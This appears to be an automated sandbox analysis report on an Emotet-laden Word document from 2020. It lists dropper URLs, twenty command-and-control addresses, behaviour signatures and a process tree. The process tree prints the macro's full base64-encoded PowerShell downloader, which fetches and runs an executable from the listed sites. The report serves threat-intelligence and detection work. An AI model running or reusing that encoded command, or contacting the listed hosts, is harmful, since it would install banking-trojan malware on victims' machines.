Analysis

  • max time kernel
    64s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    23/09/2020, 10:53

General

  • Target
    emotet_e1_7e3b82cf09c627f68dbd5889b05e981db233b165abe39b8302db7d2ab9f06885_2020-09-23__105205924851._doc.doc
  • Size 154KB
  • Sample200923-nbff2776xe
  • SHA256 7e3b82cf09c627f68dbd5889b05e981db233b165abe39b8302db7d2ab9f06885
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://armahouse.com/wp-includes/0/

  • exe.dropper

    http://bitbenderz.com/ali/4Lo/

  • exe.dropper

    http://lagera.com/images/W/

  • exe.dropper

    http://msmartyford.com/assets/OI/

  • exe.dropper

    http://geisterhouse.com/cgi-bin/FE/

  • exe.dropper

    https://konican.com/cgi-bin/nFK/

  • exe.dropper

    https://coolcomputers.info/LLC/zD/

Extracted

Family
  • emotet

C2
  • 192.81.38.31:80

  • 51.75.33.127:80

  • 37.157.196.117:7080

  • 116.202.23.3:8080

  • 54.37.42.48:8080

  • 2.36.95.106:80

  • 186.103.141.250:443

  • 192.241.146.84:8080

  • 94.176.234.118:443

  • 12.162.84.2:8080

  • 82.230.1.24:80

  • 98.13.75.196:80

  • 190.190.148.27:8080

  • 177.129.17.170:443

  • 202.4.58.197:80

  • 77.90.136.129:8080

  • 77.106.157.34:8080

  • 95.9.180.128:80

  • 83.169.21.32:7080

  • 212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7e3b82cf09c627f68dbd5889b05e981db233b165abe39b8302db7d2ab9f06885_2020-09-23__105205924851._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
    POWeRsHeLL -ENCOD JABLAHoAcQAyADAAaQBsAD0AKAAnAEkAJwArACcAMgB4ACcAKwAoACcAZwAnACsAJwByADcAYwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBQAFIATwBmAEkATABFAFwATQBmAGoANAAzAE0AZgBcAGcANABfADgARAB5ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAVQBgAFIAaQBUAFkAYABwAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAnACwAJwArACcAIAB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFEAdQA5AHkAcQBqADEAIAA9ACAAKAAoACcAWAAnACsAJwA4AGcAJwApACsAKAAnAG0ANAAnACsAJwBnACcAKQArACcAcgBqACcAKQA7ACQAVQBpAGEAMwBtADgAXwA9ACgAJwBTAGkAJwArACcAMgA0ACcAKwAoACcAXwB0ACcAKwAnAGkAJwApACkAOwAkAFAAMABzAHEANAAyAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBjACcAKwAnAFYANQAnACkAKwAnAE0AZgAnACsAJwBqADQAJwArACcAMwBtACcAKwAnAGYAJwArACgAJwBjAFYAJwArACcANQBHACcAKQArACgAJwA0ACcAKwAnAF8AOABkACcAKQArACgAJwB5ADQAYwAnACsAJwBWADUAJwApACkALQByAGUAUABMAGEAYwBlACAAKAAnAGMAJwArACcAVgA1ACcAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABRAHUAOQB5AHEAagAxACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARwByAGIAegAwAGoAbgA9ACgAKAAnAEgAXwAnACsAJwBoACcAKQArACgAJwByAHIAJwArACcAcABpACcAKQApADsAJABHAG8AMABiAHoAcgB6AD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcAZQBiAEMAbABpAEUATgB0ADsAJABUAHUAMgBqADIAbwB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAoACcAcgAnACsAJwBtACcAKwAnAGEAaABvAHUAcwAnACsAJwBlAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AaQAnACkAKwAoACcAbgAnACsAJwBjAGwAdQBkACcAKQArACcAZQAnACsAKAAnAHMALwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBpAHQAYgAnACkAKwAnAGUAJwArACgAJwBuAGQAZQByAHoAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwBhAGwAJwApACsAJwBpACcAKwAoACcALwAnACsAJwA0AEwAbwAnACkAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsAGEAJwArACcAZwBlACcAKQArACcAcgAnACsAKAAnAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBpAG0AYQBnAGUAcwAnACsAJwAvAFcAJwApACsAJwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwADoAJwArACcALwAvACcAKQArACgAJwBtAHMAbQBhACcAKwAnAHIAdAB5AGYAJwArACcAbwByACcAKQArACgAJwBkAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAoACcAdABzACcAKwAnAC8ATwBJAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAA6AC8ALwBnACcAKwAnAGUAJwApACsAKAAnAGkAcwB0ACcAKwAnAGUAcgBoACcAKQArACgAJwBvACcAKwAnAHUAcwAnACkAKwAoACcAZQAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBjACcAKwAoACcAZwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBGACcAKwAoACcARQAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACkAKwAnAGsAbwAnACsAKAAnAG4AaQAnACsAJwBjAGEAbgAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACsAJwAvAGMAJwApACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiACcAKwAoACcAaQBuAC8AbgBGAEsALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAdABwAHMAJwArACcAOgAnACkAKwAoACcALwAvAGMAbwBvACcAKwAnAGwAJwApACsAKAAnAGMAJwArACcAbwBtAHAAdQAnACsAJwB0AGUAJwApACsAJwByACcAKwAoACcAcwAuAGkAJwArACcAbgBmACcAKQArACgAJwBvAC8AJwArACcATAAnACkAKwAoACcATABDAC8AJwArACcAegBEAC8AJwApACkALgAiAFMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA5AGcAYQBsAGkAXwA9ACgAJwBRAHEAJwArACgAJwAyACcAKwAnAHgAbAA3ACcAKQArACcAOQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAHgAbwB4AHIAYgBfACAAaQBuACAAJABUAHUAMgBqADIAbwB0ACkAewB0AHIAeQB7ACQARwBvADAAYgB6AHIAegAuACIARABvAFcAbgBMAE8AYABBAGAARABmAGkAbABFACIAKAAkAFkAeABvAHgAcgBiAF8ALAAgACQAUAAwAHMAcQA0ADIAaQApADsAJABZAHIAdAAxAHAAdQA2AD0AKAAoACcAVwBqAHIAJwArACcAbQAxAHMAJwApACsAJwBqACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQADAAcwBxADQAMgBpACkALgAiAGwAYABlAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA1ADcANgAzACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AJwArACcAawBlAC0ASQB0AGUAbQAnACkAKAAkAFAAMABzAHEANAAyAGkAKQA7ACQATgB3AGIAbgBoAHQAYQA9ACgAKAAnAEYAYgBzACcAKwAnAHMAMgAnACkAKwAnAHAAbwAnACkAOwBiAHIAZQBhAGsAOwAkAFYAdQBfADgAdAA0AHkAPQAoACcAUQBnACcAKwAoACcAYgAzACcAKwAnAHkAZQBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHcANABrADgAYQAyAD0AKAAnAE4AaAAnACsAKAAnAGgAcwAnACsAJwBtACcAKQArACcAYgBkACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe
      "C:\Users\Admin\Mfj43mf\G4_8dy4\X8gm4grj.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\SysWOW64\KBDMAC\RpcNs4.exe
        "C:\Windows\SysWOW64\KBDMAC\RpcNs4.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:944

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/432-15-0x0000000000240000-0x0000000000252000-memory.dmp

        memory/432-16-0x0000000000260000-0x0000000000270000-memory.dmp

        memory/824-22-0x000007FEF6980000-0x000007FEF6BFA000-memory.dmp

        memory/944-20-0x00000000003D0000-0x00000000003E2000-memory.dmp

        memory/944-21-0x0000000000250000-0x0000000000260000-memory.dmp

        memory/1088-2-0x00000000089B0000-0x00000000089B4000-memory.dmp

        memory/1672-8-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

        memory/1672-12-0x000000001C3D0000-0x000000001C3D1000-memory.dmp

        memory/1672-11-0x000000001B410000-0x000000001B411000-memory.dmp

        memory/1672-7-0x0000000002600000-0x0000000002601000-memory.dmp

        memory/1672-9-0x0000000002640000-0x0000000002641000-memory.dmp

        memory/1672-6-0x000007FEEEE80000-0x000007FEEF86C000-memory.dmp

        memory/1672-10-0x0000000002670000-0x0000000002671000-memory.dmp